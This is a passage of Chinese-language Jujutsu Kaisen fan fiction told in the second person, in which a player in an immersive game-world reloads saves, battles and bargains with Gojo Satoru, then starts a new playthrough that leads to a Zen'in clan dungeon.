你还没来得及感受体内澎湃如海啸的全新咒力,后心处猛然传来冰冷的穿刺感。
你低头,一截熟悉的咒具刀尖,正从你胸前缓缓透出。
“叽叽歪歪的……吵死了。”
五条悟的声音几乎贴在你耳后响起,带着濒死般的喘息与癫狂的笑意。你僵硬地转头,看见他半边身子焦黑破碎,脖颈上还插着你之前留下的短刀——可他竟然用那只完好的手,将它硬生生拔出,再狠狠捅进了你的后背!
你转过头,目眦欲裂,“五条悟!!!你没死!”
“禅院华子!!!来战啊!!!”
【晚上十点,[咒灵女王]确认已死亡。】
【咒灵“葵”丧失全部理智,咒力核心超载自爆。】
【爆炸范围:东京全境。】
【生还者确认:五条悟。状态:濒死。】
【咒术界,仅余一人。】
---
曾经是东京都立咒术高等专门学校的地方,此刻只剩废墟。
废墟中央,一个身影摇摇晃晃地站起。
五条悟身上那件昂贵的高专制服早已破碎不堪,勉强挂在身上,标志性的雪白头发被灰尘和血块黏在一起,垂落额前。
他伸出唯一还能动弹的右手死死捂住流血不止,已经彻底失去视觉功能的双眼。
指缝间渗出的血滴落在地面的结晶碎渣上,发出轻微的“嗤”声。
然后,他笑了起来。
起初是低低的,从喉咙深处挤出的气音,像是破旧风箱的喘息,随即,笑声越来越大,越来越响,最终变成一阵近乎癫狂的,响彻整个废墟的大笑!笑声里没有胜利的喜悦,没有解脱的畅快,只有无边无际的苍凉和空茫。
“哈……哈哈哈……禅院华子……!”
他吼出这个名字,声音因剧痛和嘶喊而完全破音,血泪顺着他的下颌不断滴落。
“是老子……赢了……!!”
无光的视线望向那片虚空,他“看”向了你。
你从灵魂深处升起一种战栗感,你的手指微微抽搐。
你没有立马回到系统空间,你慢慢地飘向他,黑到极致的眼睛瞪大,捧住他低垂失神的脸。
“我记住你了……五条……悟。”音节绕过舌头被你缓慢地吐出。
“这个周目是你赢了!下个周目,”你与他隔空对视,冷笑,“我们再见。”
你缓慢地退回系统空间,点进了你存的第二档。
眼前光影流转,你重新站在了那片熟悉的,禅院家化为焦土的残垣边。
咒灵葵的触手温顺地蜷伏在你脚边。
“小葵,你还在。”你激动地抱住她,撒娇,“呜呜,你不知道我经历了什么,五条悟这个boss太可恶了,居然还有二阶段!”
小葵疑惑地抖了抖触手,虽然不知道小姐为什么突然变得委屈,但是小姐说那个什么五条可恶一定是没有错的!
“讨厌五条悟!”
“嗯嗯!小葵真好!”你笑眯眯地说。
远处,蓝色长发的咒灵哼着不成调的歌,从燃烧未尽的黑烟中蹦跳而出。
真人用熟悉的嗓音邀请你加入他们,上个周目,你还有兴趣陪他们玩玩,但这一次,你没有耐心了。
你慢慢转过头,看向真人,脸上没有戴面具,黑发被热风吹拂,贴在脸颊,你看着他头顶清晰的【等级83】。
太慢了。
这样慢吞吞地“合作”、“特训”,要等到什么时候,才能打败五条悟?
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[skip]玩家想要跳过。
“嗯,”你应了一声,声音平淡无波,“很感兴趣。”
真人笑容扩大:“那——”
“所以,”你打断他,黑眸里没有任何属于人类的温度,只有评估与计算,“让我看看你们的‘资格’。”
“资格?”真人歪头。
你没有回答,真人似乎感知到了什么,神情微微紧绷。
你抬起手,不是攻击的姿势,更像是邀请。
“证明你们的价值,”你说,语气轻柔,“把你们的一切,交给我。”
你指尖那缕咒力骤然扩散,化作无数肉眼不可见的细密丝线,猛地扎入真人的身躯。
“呃啊——?!”真人发出短促的惊愕叫声。
【术式[咒力噬取]发动:咒力抽取中……】
【咒灵真人已死亡。】
你没有停,你迅速飞奔到咒灵们的海边基地。
“喂?女人,你是谁?”漏瑚的独眼警惕地看着你。
花御也警惕地盯着你。
“那不重要,你们只需要知道,”你的身形似鬼魅,“你们将与我同在。”
漏瑚的熔岩核心,花御的生命咒力,和刚刚闻讯从海岸线赶来的陀艮的水之咒力……全部被你强行吞噬。
这不是战斗,是单方面的的“进食”。
【咒灵漏瑚已死亡。】
【咒灵花御已死亡。】
【咒灵陀艮已死亡。】
【经验值暴涨,等级95→97。】
你感觉自己的“内部”在燃烧膨胀。
【系统提示:暴饮暴食可不好哦~玩家陷入debuff[精神错乱],持续时间未知。】
你的视野边缘开始出现重影,耳边响起无数细碎的低语。
“小……姐……?”小葵很担心你。
你甩了甩头,安抚她,“小葵,我没事,我马上就去解决那些阻挡我们的东西,然后我们可以安静地一起生活了。”
“你就先在东京以外的地方
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等我吧。”你对她命令道。
你独自一人杀向咒术界权力的中枢。
你的视野里,那些仓皇惊惧的老朽面孔,和【等级XX】的标签一起,迅速黯淡消失
【经验值微幅上涨。】
【经验值微幅上涨。】
……
太慢了,这些杂鱼提供的经验杯水车薪。
你耳边突然传来异响,你倏然转头。
尽头,一个白发男人随意地站在那里——五条悟。
“五条悟……”你声音沙哑,嘴角不受控制地咧开,“你来找死吗?”
五条悟凝重地看向你,“疯子吗?”
“来的正好……”你抬手抹去嘴角血迹,“省得我去找你……开战吧,现在!”
你根本不等他回答,双手猛地按向地面,狂暴的咒力如同黑色潮水,以你为中心轰然炸开,“【领域展开:无间噬渊】。”
战斗在下一秒爆发。
五条悟的身影在狂风暴雨般的攻击中闪烁,在无数次以伤换伤的疯狂对轰后,你将他击倒在地。
【五条悟生命体征急剧下降。】
但你知道战斗没有结束,因为五条悟这个boss可是有二阶段的啊,他掌握【反转术式】了。
果然,几乎在你这个念头升起的同时,那边倒在地上的身影,咒力开始以一种惊人的效率重新凝聚。
就在你全神贯注应对他可能爆发的反扑时——
一道熟悉的黑影猛冲进来,挡在了你和五条悟之间。
“噗……”
你听见她的身体发出了一声极其轻微,仿佛叹息般的漏气声。
时间仿佛静止了。
你脸上疯狂的笑容僵住,瞳孔缩成了针尖。
小葵……?
它怎么会在这里?你明明……明明命令它等在远方,等着享受胜利……
“诶……?”你发出一个短促的、困惑到极致的气音,“是……幻觉吗?”
精神错乱的debuff还在生效,你甚至怀疑这是疯狂带来的幻象。
为什么……
为什么她会在这里?
“不!!!”
迟来的认知如同冰锥刺穿心脏,你发出撕心裂肺的尖叫,什么战斗,什么五条悟,什么升级,你都不在乎了,你猛的扑向她,徒劳地抓住她的半边身子。
小葵倒下的身躯已经破碎了大半,那张属于“禅院葵”少女时期的虚幻而温柔的脸上没有痛苦,只有深不见底的担忧,和终于能为你做点什么的释然。
“我一直……都被小姐保护在身后,”她的声音断断续续,“这次换我……保护小姐。小葵太笨了,只能……想到这个办”
“但小葵……好担心……你。”
“你跑出来做什么?!明明这一击我能够挡下的!我能挡下的!!!”你对着它崩溃地怒吼,眼泪混着血污疯狂涌出,“谁要你保护!谁允许你擅自……擅自……”
你猛地松开手,像是想起了什么救命稻草,双手在空中乱点,试图调出系统界面,声音颤抖得不成样子:
“存档……对,存档!读档!回到之前……小葵,我们不去攻打咒术界了,我们不去了!我们一直在一起,躲起来也好,平凡也好,我什么都不要了……我们回去……回去……”
一只冰冷透明的“手”,轻轻握住了你疯狂试图唤出系统面板的手腕。
“小姐……”
小葵残留的幻影对你摇了摇头,脸上露出微笑,流下一滴泪。
“不用了……”
“小葵……也想和小姐……一直在一起。”
“这样……就很好……”
9. 第 9 章
世界突兀地静止了。
画面凝固在禅院葵伸出手,指尖即将触碰到禅院华子染血指尖的瞬间,你操控的“禅院华子”脸上,禅院华子的表情被定格在崩溃和绝望上。
停下。
你心中默念,熟练地呼出系统半透明面板,你的意识从“禅院华子”这具躯壳中抽离,瞬间进入一片纯白的系统空间,情绪如同潮水般退去。
情绪的大起大落让你一下子有些呼吸不过来,你是否有些太过沉溺于这个周目了?
你没想到禅院葵能给你带来这么大的影响,不禁再次赞叹这个全沉浸式咒术模拟游戏的制作水平,决定结束游戏后给《人生模拟器(第二部)》点个好评。
你的情绪随着[NPC]禅院葵起起伏伏,你忍不住思考她真的值得你花这么多时间吗?
玩家的时间可是很宝贵的!
你仔细体味在游戏里的各种情绪,半晌,微微勾起嘴角:人生不过三万天!让你感到快乐那就是值得的。
玩家充能结束,继续开干!
世界重新流动起来。
你松开紧握的的手,指尖从禅院葵逐渐透明的躯体上移开。
你脸上崩溃的表情如同面具般被瞬间抹去,所有泪水被咒力蒸发,只留下几道浅浅的泪痕。
你松开原本紧握成拳的手,将她还存有一丝咒力的躯体平稳地放在地面上。
然后,你直起身,活动了一下脖颈,捡起脚边不知哪个咒术师遗落的金属咒具残骸,放在手中掂了掂。
你提着那截残片,走向五条悟。
“已经完全冷静下来了吗?”他开口,声音有些沙哑,语气却听不出太大起伏。
你抬眼看他,黑色的眼眸里是暴风雨后的平静,你简单应道,“啊,嗯。”
你目光落在他胸口,又移向他被血污沾染的额发,声音平淡,“五条悟,你很不好受吧。”
你的指尖虚虚点向他心脏的位置。
“这里。”
然后手指转向轻轻点了点自己的太阳穴。
“还有这里。”
五条悟嗤笑一声,扯动嘴角的伤,嘶了口气:“少说废话。老子看站不稳的人是你。”
【系统提示,已到达重要节点,是否存档?】
[否]
【请选择——】
【A. 与五条悟死战到底,掀翻咒术界】
【B. 对五条悟说:我们合作吧。】
【C. 其他】
玩家选择了B。
“我们合作吧,五条。”你直接抛出一句话。
五条悟瞳孔微缩,下一瞬,身影已从原地消失,【苍】猛的瞬发。
你早有预料般侧身,像一条滑不溜秋的鱼,以更诡异的角度拉近了与他的距离。
你的声音冰冷而清晰,几乎贴着他的耳廓响起:
“五条,难道你不觉得——那些坐在上面指手画脚,把咒术师当消耗品,把普通人性命当成筹码的高层们,已经烂透了吗?”
五条悟的六眼清晰地捕捉到了你这次闪避的轨迹——比之前更快,更诡谲。
他心中一凛,但手上动作没有丝毫迟疑,反手一记蕴含【赫】的手刀狠狠砸向你的颈侧!
“哈!抓到你了!”
这一次,你没有躲闪。
“噗——!”手刀狠狠砸在你的肩胛骨,骨骼碎裂声清晰可闻。
你身体巨震,猛的喷出一口鲜血,却借着这股力量将距离拉得更近,几乎鼻尖相触,鲜血溅上他苍白的脸颊。
你毫不在意肩头的剧痛,黑眸死死锁住他那双近在咫尺,因为惊愕而微微放大的六眼。
“看着我的脸,五条悟。”你的声音带着浓重的血腥气,却异常平稳,“你不觉得……那些垃圾很碍眼吗?”
“我们把他们全部清扫掉,如何?”你染血的嘴唇勾出一丝笑意,“就你和我。”
五条悟的呼吸有一瞬间的凝滞。
“前提是,”你像是才想起补充条款,语气随意,“用你的[反转术式],治好小葵。”
【系统提示,魅力值判定失败】
你惊讶,五条悟居然没有被你诱惑到吗?为什么?
五条悟眼中的动摇瞬间被嘲讽取代,他猛地用额头砸向你的脸,自己也在反作用力下后退两步,咳出一口血沫。
“你的目的终于暴露了!”
他擦去嘴角血迹,蓝色的眼眸里燃起怒火,“清理垃圾?老子和杰自己就能干!用得着你这个疯子?”
“就凭你?”你站稳身体,脸上却露出一个近乎怜悯的浅笑,“给你十年,二十年你都改变不了咒术界!”
你无视他再次绷紧的肌肉和蓄势待发的咒力,向前跨出一步。
“我可以陪你耗。十年,二十年,我有的是时间。”你的声音压得很低,“但如果今天,小葵死在这里……”
你抬起眼,目光扫过这片废墟之外,投向东京。
“我要咒术界上上下下,所有人,所有家族,所有传承……一个不剩,全部给她陪葬。”
你再次逼近他,近到能感受到他因愤怒几乎实体化的咒力。
“你身边站着那么多人,家族,同伴,你那些还没入学或者刚入学的学生,还有你口中的那个‘杰’……”你轻声问,如同恶魔的低语,“你敢拿他们所有人的命,陪我耗吗?”
你其实无所谓这些咒术界的烂橘子,也不在乎这个周目会变成什么样子,只是因为小葵觉得这个周目还不错,所以你想,试试能不能打出一个稍微好一点的结局。
寂静。时间在沉默中一分一秒地流逝,每一秒都碾在小葵逐渐消散的生命力上。
五条悟站在你面前,胸膛微微起伏,白色的发梢滴落不知是血还是汗的水珠。
他盯着你看了几秒,忽然扯出一个略显古怪的笑。
“诶?”他歪了歪头,语气里带着无辜,仿佛你们之前的争锋相对不存在一样,“可是老子的反转术式,只能治疗自己啊,治不了你的小咒灵哦。”
你:“……”诱惑成功了?
空气仿佛凝固了一瞬,你感觉自己的拳头硬了,额角有青筋在欢快地跳动。
你陷入了头脑风暴:游戏介绍……角色资料,还有谁?反转术式……稀有技能……
一个名字忽然在你的脑海中点亮。
“家入硝子。”你终于找到自己想要的名字,“我要见她。”
“哈,”五条悟这次是真的笑出了声,“早说嘛,行了行了,知道你着急,别用那种要杀人的眼神盯着老子。”
“不过,就这么让你见到硝子可不行。”他甩了甩手腕,话锋一转,苍蓝的六眼微微眯起,“我们定下‘束缚’如何
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?”
你面无表情地看着他,示意他继续往下说。
“内容很简单:今后,你不能主动伤害咒术界的人——除非他们先攻击你。”五条悟竖起一根手指。
他摊摊手,语气变得有点无赖:“你看,你把咒术界搅成一团乱糟,老子光是想想后续那些烂摊子就烦得要死。定下这个束缚,至少能保证你不会再发疯乱杀,我们就帮你治疗你的咒灵,很公平吧?”
“公平?”你笑了笑,“我可是帮你提前清理了那么多占着茅坑不拉屎的垃圾,省了你多少麻烦。”
五条悟虽然也对此表示赞同,但是他还是说:“那是两码事,答应,还是不答应?你的咒灵好像等不了多久了哦。”
你看向地面上气息愈发微弱的那团黑色残影。
“……好。”你清晰地吐出这个字。
【束缚成立:禁止主动对咒术界的人发起攻击,对方必须帮你治疗禅院葵。】
咒力光芒在你们之间一闪而逝。
“成交~”五条悟似乎轻松了不少,但他依旧警戒着。
他走到你身边,看了一眼小葵的躯体,“抓紧。”
你单手抱起小葵残破的躯体。
下一秒,天旋地转。
【苍】的瞬移速度远超常规,几乎在你感知到空间拉扯的瞬间,脚已踏上了实地。
熟悉的古朴建筑轮廓映入眼帘——东京咒术高专,结界完好,灯火通明,但空气中弥漫着一股紧绷的气氛。
你们突兀地出现在高专结界内的空地上,几乎是落地的同时,刺耳的警报声响彻天空。
“悟!”
一声沉喝传来,夜蛾正道的身影从主楼方向急速奔来,脸上带着罕见的焦灼和震惊。
“你接到紧急通知了吗?!高层的一个基地被……”夜蛾正道的话语戛然而止。
他的目光猛地锁定在你的背影上,还有你怀中那团散发着不祥特级波动的咒灵残骸上,然后他惊疑地看向五条悟和他身上明显刚经历过惨烈战斗的痕迹。
“悟?这是谁?!”夜蛾正道的声音警惕。
五条悟不着痕迹地上前半步,恰好挡住了你的脸,阻止夜蛾正道去看你的脸,“夜蛾,你最好别看她的脸。”
夜蛾正道脸色一变,似乎想到了什么,目光在你被血污沾染,但隐约可见轮廓的下半张脸和散乱黑发上扫过,又看向五条悟异常平静的神情,硬生生止住了探究的视线,只是眉头皱得更紧。
五条悟这才解释道:“高层那些人……运气太背了,不过现在麻烦已经暂时被老子解决了。”
他指了指你,“这位是……呃,临时合作的人,现在有十万火急的事——”
他看向夜蛾正道,语气稍微正经了一点:“硝子在哪?”
【已达到进入后日谈的条件,玩家是否决定进入后日谈?】
[否]
在此之前,你还有一个问题。
“我有一个问题,”你靠近五条悟,指了指自己的脸,眼神里带着疑惑,“你为什么对我的脸没有反应?”
他微微拉下墨镜,六眼看向你。
“反应?我根本看不到你的脸。”他说,“黑漆漆的一片哦。”
五条悟看到的只有层层叠叠的咒力,无数细微,嘈杂的声音如同辐射从你脸的轮廓中散发出来,琐碎的爱慕声嗡嗡作响。
10. 第 10 章
【周目结算】
获得CG[初遇·禅院直哉的妄言★★],[宣言·恶之花★★★★★],[咒灵女王★★★★★]……
获得称号[家族湮灭者],[咒灵女王],[唯一的王]……
三日后,你和恢复的禅院葵回到了原本的村庄过上了平凡的生活。
【后日谈·碎片】
某地下情报交易所。
天与咒缚·伏黑甚尔听着线人关于禅院家覆灭细节的汇报,笑得脸都烂了。
“禅院那群垃圾真是活该啊。”
新年,旧村庄,河边。
细雪飘落,河面结着薄冰,几盏村民送的简陋纸灯笼挂在屋檐下,晕开暖黄的光。
小葵用触须将一碗她在网上学着做的形状略显古怪的荞麦面端到你面前,眼睛亮亮的。
“小姐,”她笑着看你,“这是我们在外面过的第一个新年呢。”
雪花落在她漆黑的躯体上,迅速消融。
“今后……也一直这样下去吧?”
你看着它,看着碗里热气蒸腾的面,还未开口——
“喂——!禅院华子!老子不请自来了!”
嚣张的嗓音划破村庄的天空,五条悟大大咧咧地落在院子中央,他依旧戴着那副小圆墨镜。
夏油杰的身影紧随其后,手中捧着包装精美的礼盒,闻言无奈地扶额:“悟,不请自来不是这样用的。”
他转向你,微微颔首,“禅院小姐,新年好,一点谢礼,不成敬意,感谢您之前清除了大半咒灵和一些尸位素餐的人,帮我们解决了大麻烦。”
“礼送到了,我们就不打扰了——”
“哇!这是咒灵做的食物吗?闻起来不错!”五条悟已经跳到了小葵面前,好奇地探头探脑。
他又朝院子外嚷嚷,“硝子!歌姬!这边还有酒!”
家入硝子双手插在白大褂的兜里,慢悠悠地从阴影里走出来,叹了口气:“啊,五条也真是的……”
庵歌姬跟在她身后,脸上带着明显的局促,她慢慢挪步走到你面前,深吸一口气,对你们郑重地鞠了一躬:“上次……直接逃走了,对不起。”
你:……
这些人还真是不请自来啊!
【周目结算面板】
剧情完成度:65% (你颠覆了主线,但部分支线与角色关系仍未充分探索)
幸福度:90% (你很幸福)
最终等级:等级98 (离成神只有一步之遥)
综合评价:★★★★ (稀有度较高)
评语:以绝对的美貌撼动咒术界的根基,获得称号[咒灵女王],虽然你并未完全掌控或彻底毁灭咒术界,但你成功地缔造了咒术界前所未有的平衡,与你的咒灵禅院葵达成了happy ending。
【是否保存该周目记录?】
不错的后日谈,你点击[保存此周目]。
客服提示:“检测到玩家尚有2点自由属性点未分配,是否在此周目继续使用?”
你挑眉,“这个周目不是已经到结局了吗?怎么还可以继续?”
客服回复:“尊贵的玩家,我们这款游戏可以达成各种不同的支线结局哦,您可以回到您经历过的两个重要节点选择其他选项继续游戏。”
“检测到您只在第一个重要节点有存档,请问是否继续呢?”
你想了一下第一个重要节点是什么,想起来是小葵消散了两次的那个存档。
[点击确定]
你重新“站”在那个破败的房间里。
【请选择——】
【A. 靠近它,说:“小葵,我们永远在一起吧。”】
【B. 看着它,说:“……好丑。”】
【C. 其他】
你看着眼前唯唯诺诺的咒灵,诡异的有些怀念。
这次,你选择了A。
“小葵,”你伸出手,声音是自己都未曾察觉的轻柔,“我们永远在一起吧。”
庞大的咒灵身体逐渐融化,慢慢变成了一个十六岁的少年,墨色的短发柔软地贴在前额,那双眼睛依然是你最熟悉的温和。
她轻轻地把你抱在怀中,“小姐,我们早已经在一起了。”
你的身体暖洋洋的,不知道是被太阳晒的,还是在她的怀抱中的缘故。
“华子小姐,我不在的时候,你要好好的哦。”
对话……不一样了。你想。
“你幸福吗?”你垂着眼问。
你感受到她胸腔微微的震动,那应该是一个无声的笑。
“能拥有小姐一段时间就已经是小葵最大的幸福了!”她的笑容飘散在暖洋洋的空气里,和光同尘。
你怀中渐渐空了,你下意识地伸手,徒劳地捞了捞空气里的泡沫,你怔怔地看着它们破碎,然后缓缓摊开手心,接住了最后一样东西——一枚蓝色的蝴蝶发饰。
你想起来了,小葵一直认为你像蝴蝶一样美丽呀。
【恭喜玩家获得特殊掉落物[小葵的蝴蝶★★★★★],技能效果:抵挡一次致命伤害,或者恢复一次致命伤害。】
[两点随机属性点分配中,智力:3→ 5,属性点分配完毕。]
[玩家:禅院华子
咒术:6
幸运:5
智力:3(+2)
魅力:9.5
等级:??
术式:无
天赋:神的容貌]
这个结果真是让你嘴角抽抽,如果没有开局氪金附加的属性点,你全部属性就都是5了。
[四岁:你在河边洗漱,村长看见了你的脸,把你视作神明。]
[四岁:村长回村宣扬她所看见的神迹,尊奉你为神明大人。]
[四岁:全村人决定供奉你。]
起初供奉上来的还是一些清甜的果子,后来变成了猪羊,最后演变为人祭。
村民们正争吵着有谁去陪伴神明大人。
“上次小春家的儿子去了后,我们在他们家地底下挖到了金子,”一个干瘦的村民挥舞着胳膊,唾沫横飞,“这次该轮到我们家了!”
老村长推开众人,浑浊的眼睛里带着虔诚:“都别争了……这次,该我去陪伴神明大人。”
“村长!”几个村民
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劝阻。
警笛声由远而近地响起,打断了他们的争吵。
为首的警察向村长出示证件,语调平板:“接到报告,山上有未爆弹,请配合疏散,专业人员需要上山处理。”
村民骚动起来,伸长脖子打量那些专业人员——清一色深色作战服,腰佩古怪冷兵器,眼神扫过来时让人脊背发凉。
“山上有神明坐镇!”村长反驳,“不可能有那种东西,神明会庇佑——”
为首的咒术师对警察微微颔首,警察立刻侧身挡住村民:“无关人员后退。封锁现场。”
咒术师们转身踏上山路。
禅院长寿郎按住刀柄,低声对身旁少年道:“咒力残秽很淡,但范围覆盖整座山,至少一级,兰太,跟紧,你要多加熟悉。”
“是,前辈。”禅院兰太握紧刀柄。
石阶尽头的小屋里,你坐在那儿,村民供奉的鲜艳野果散乱搁在膝边,视线落在你身上时,所有人都呆滞了一瞬。
“孩子?”禅院长寿郎反应过来,瞬间拔出刀,“不对——兰太,后退!她身上有很浓重的咒力残秽。”
他的警告还未完全落下,禅院兰太已经冲了出去。
“华子?!”他的声音颤抖,几乎跌跪在你面前,双手悬在空中不敢触碰,“是你吗?一年前……你走丢了,我以为你……”
禅院长寿郎的咒力骤然爆发:“兰太!回来!你被蛊惑了?!”
禅院兰太转身用身体挡在你与前辈的刀锋之间,急急解释:“长寿郎前辈!她是我妹妹禅院华子啊!你看她的眼睛,她的头发……我不会认错!”
你看着他们紧张的对峙,对他偏了偏头,声音轻软,“你认识我呀?”
---
禅院家,地牢入口的审讯室,空气里弥漫着霉味和淡淡的血腥气。
禅院兰太跪在冰冷坚硬的石板地上,额头几乎触地,他的声音因为急切而发紧,“家主大人!她真的是我妹妹,禅院华子!请您明察!”
石室上首,禅院直毘人慢悠悠地喝着酒葫芦里的酒,似乎对兰太的恳求充耳不闻。
兰太见家主不为所动,咬了咬牙,猛地抬起头,眼中闪过一丝决绝:“家主大人!我愿以我的术式,我的未来,我的一切立下束缚,您相信我——”
“噗哈哈哈……”禅院直毘人放下酒葫芦,爽朗地笑了一声。
“束缚?你这孩子,年纪不大,口气倒是不小。”他摇了摇头,语气甚至算得上慈和,“爱妹心切,人之常情,我能理解,华子嘛……”
禅院直毘人摸着下巴的胡须,“偏院那边……好像是有这么个小丫头。”
“行了,起来吧。膝盖不疼吗?”禅院直毘人扶起禅院兰太。
禅院兰太被带得一个踉跄,勉强站稳,心提到了嗓子眼,急切地追问:“那、那监狱……”
禅院直毘人摆了摆手,“一些检查是必要的,先委屈华子那个小丫头在监狱待几天吧。”
禅院直毘人伸出五根手指,对禅院兰太说,“五天后,如果检查结果没问题,你可以把她接回去。”
【四岁:你被关进了禅院家的牢房。】
11. 第 11 章
地牢入口的铁门在身后沉重合拢,最后一丝光被吞没,空气混杂着铁锈味和一种陈年的血腥气。
引路的守卫早已匆匆离去。
你站在黑暗里,眨了眨眼,瞳孔慢慢适应了这片黑暗,分辨出远处墙壁上提供最低限度照明的咒力灯盏。
喘息声,哀嚎声,还有锁链拖过石板的细碎摩擦声。
你的囚室是双人间,不大,一眼可见全貌:一张占据大半空间的简陋板床,一个角落的厕所。
板床上有人。
一个高大的身影侧卧着,闭目对着你。黑色的短发搭在额前,宽阔的肩背即使在静止状态下也绷紧着,有明显血腥味从他身上散发出来。
你看向他的头顶。
[姓名:禅院甚尔
等级:82
魅力:8
状态:重伤/失血/警惕]
你想,或许现在该上演“阳光开朗小太阳救赎阴郁孤狼”的经典戏码?从施以援手开始,成为他黑暗生命里唯一的光……
哈。这念头让你几乎要笑出声。太老套了,虽然这样的游戏也很好玩,但是你玩过太多遍了,再重复的话也没什么意思。
你站在原地,无动于衷。
“喂,小姑娘。”嘶哑的声音从隔壁铁栏后传来,“你运气可真是不好,跟那个疯子关在一起。”
你问:“怎么了?”
“他啊,一个没有咒力的废物,居然敢对少爷们动手,打折了好几个人的骨头!”那个人恨恨地继续说,“骨头硬得很,被打成这样也不吭声……嘿,你小心点,他说不定半夜发疯掐死你。”
“要不要我跟看守说说,让你来我这边?我这儿好歹就我一个。”
你没理他,目光重新落回板床上。
禅院甚尔身上的伤比你刚才粗略看到的更重,侧腹的衣物破开,露出翻卷的皮肉,血已经半凝,颜色暗沉,手臂不自然地曲着,可能有骨裂。
你站起身,走向板床。
就在你靠近床沿的瞬间,那双一直闭着的眼睛睁开了。
即使在昏暗中也亮得惊人的绿眸,像淬了冰的翡翠,又像草甸深处蓄势待发的黑豹,目光精准地锁定你,警惕,不耐。
“喂,小鬼,”他的声音很低,带着失血的沙哑,“离我远点。”
“我要睡觉。”你说。
“你随便找个地方睡。”禅院甚尔重新闭上眼,“我要睡床。”
“我要睡床。”
世界是玩家的,那牢房里的床自然也就是玩家的!你自信的想,玩家没有义务把自己的东西让给别人。
禅院甚尔再次睁开眼,十六岁的少年,即使重伤,躯体依然蕴含着极强的爆发力,他盯着你,咧开嘴,露出一个算不上笑的表情,尖利的犬齿在昏暗光线下微微反光。
你没有怕,打量禅院甚尔脸上淤青和血迹,问他,“你怕我?我又不对你做什么。”
你觉得他这个NPC虽然长得挺貌美,武力值也高,但你也不是非要得到他。
他嗤笑出声,眉头一挑,“你能对我做什么?”
你突然想起来,“对了,你是不是拿我挣过钱?是不是还挺多的?”
你朝他伸出干净的手,索要:“你分我一些。”
禅院甚尔无语,发现你这个人比他都还无赖强盗,懒得和你争,说:“没钱,早八百年前就花完了。”
你趁机手脚并用地爬上了床,坐稳后笑他:“你打架受伤的是眼睛吧?得斜眼病了,一眼都看不得我?”
禅院甚尔发现你已经上床了,就随你去了。
他慢吞吞地说:“那可看不得,我怕看了发疯。”
---
禅院家的地牢,冬天的深夜是淬了冰的刀。
禅院甚尔背对着你姿势蜷缩,你们一人睡一个角,他离你十万八千米远,却依旧是随时可以暴起的状态。
你蜷在板床外侧,单薄的衣物形同虚设,睡梦里,你无意识地寻找热源。
于是,在某个意识模糊的时刻,凌晨一两点,你滚进了里侧。
那具身体即使在重伤失血状态下,依然散发着惊人的热度,你本能地贴过去,手臂搭了上去。
禅院甚尔猛的惊醒,多年刀口舔血养成的本能让他瞬间绷紧肌肉,他睁开眼,垂眼看着你,然后——他一脚把你蹬开。
你咕噜噜地滚到床的另一边,但是还是没醒。
你消停了一会,在禅院甚尔迷迷糊糊又快要睡着时,你直接滚进了他臂弯和侧身形成的狭小空隙里。
禅院甚尔再次睁开眼:“……”
这一次,他额角的青筋清晰可见地跳了一下,他一把将你从身边提溜起来。
“小鬼……”他咬着牙,每个字都带着被吵醒的困意和杀气,“你给我醒醒。”
你毫无反应,闭着眼,呼吸均匀。
“睡得像死猪一样,”他无语,把你提溜到角落,“再睡过来,你就去厕所睡。”
他重新躺下,刻意背对着你,警惕着身后的动静。
安静了不到三十分钟。
咕噜咕噜,你的身体慢慢挪过来,紧接着,身体贴了上来,这次还知道把冰凉的手往他衣服里探。
禅院甚尔第三次睁开眼。
这一次,他彻底转过了身。积压的烦躁达到顶点,绿眸在黑暗里燃烧,他伸手就要把你拎开——
动作却突兀地顿在半空。
你侧躺着,脸大半埋在他刚才躺过还残留余温的地方,黑发凌乱地铺散。咒力灯盏那点微弱的光,恰好勾勒出你脸颊柔和的婴儿肥轮廓,和那两排又长又密的睫毛,睡颜毫无防备,甚至透着一丝奇异的宁静。
和他白天感受到的那种令人不适的存在感完全不同。
禅院甚尔盯着这张脸,有那么一瞬间,脑子里突然空白了一下。
……天使容貌,魔鬼心思。
他忽然觉得有点荒谬和无力,跟个四岁小鬼较什么劲?还是个睡懵了只会找暖炉的小鬼。
那点升腾的杀意莫名其妙地泄了,他烦躁地抓了一把本就凌乱的黑发,再次把你提溜到一边,这次动作轻了不少。
“算了,”他对着空气低声骂了句什么,重新背对你躺下,“再有下次,我就……”
狠话没想出来。
不到五分钟。
一只冰凉的小手,摸索着,准确地伸进了他的衣服了,然后就心满意足地放那了。
禅院甚尔身体一僵。
他盯着黑不隆咚的天花板看了几秒,最终闭上了眼,从牙缝里挤出两个字:
“睡觉。”爱怎样怎样吧,眼不见为净。
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次日。
牢房里渗进一丝灰白的光,勉强算是清晨。
禅院甚尔盘腿坐在板床内侧,背靠着冰冷的石墙,他脸色阴沉得能滴出水,眼下两团不太明显的青黑,浑身上下散发着“别惹我,想杀人”的低气压。
怨气如有实质,几乎把整个囚室都冻上了。
你睡醒了,坐起来,揉了揉眼睛,感觉这一觉睡得还挺暖和。
你:?
“谁又惹你了?”你问,“你看起来像是被人欠了八百万。”
禅院甚尔缓缓转过脸,绿眸死死地看着你,嘴唇抿成一条冰冷的直线。
【系统提示:NPC[禅院甚尔]对您的睡觉姿势有了全新认知。】
【您的精神状态:饱满。】
地牢铁门再次打开时,天已微亮。
两名面容刻板的禅院咒术师站在门外,目光刻意避开囚室内,“禅院华子,出来接受检查了。”
你站起身,等他们打开牢房,慢吞吞地跟了过去。
禅院甚尔闭眼靠着墙,但嘴角似乎极轻微地抬了一下,对你的离去松了口气。
检查室空旷冰冷,四面都是某种能吸收咒力的特殊金属,空气里有消毒水刺鼻的味道。
抽血,精神检查,咒力检查……负责记录的辅助监督笔尖停顿了几次,最终在评估栏写下:“无异常反应,脑中无异常咒力,情绪稳定性极高。”
门被拉开,禅院直毘人晃着酒葫芦走了进来,他挥挥手,检查人员纷纷退下。
“华子,”他蹲下来,视线水平与你相对,语气和蔼,“牢房里待着,没受委屈吧?有没有人欺负你?”
你问他:“你认识我?”
“啊……直哉和我提起过你。”禅院直毘人笑,“你这孩子其实在禅院家很出名哦?”
“那是自然。”你点点头,“你是谁?”
禅院直毘人一愣,随即哈哈大笑,“你这丫头,本人正是禅院家家主,你居然不认得我?”
玩家该认识吗?
“你长得又不好看,武力值……一般吧。”
“武力值?”禅院直毘人似乎对你的用词感到新奇,但很快失笑,将其归为孩童的稚语,甚至顺着你的话说,“你连术式都还没觉醒,倒先嫌弃起我的‘武力值’了?”
“你觉得你会觉醒什么样的术式?”他像是逗小孩一样问道。
“玩家自然是觉醒最强的术式!”你理所当然地回答。
禅院直毘人不置可否地笑了笑,“是吗?”
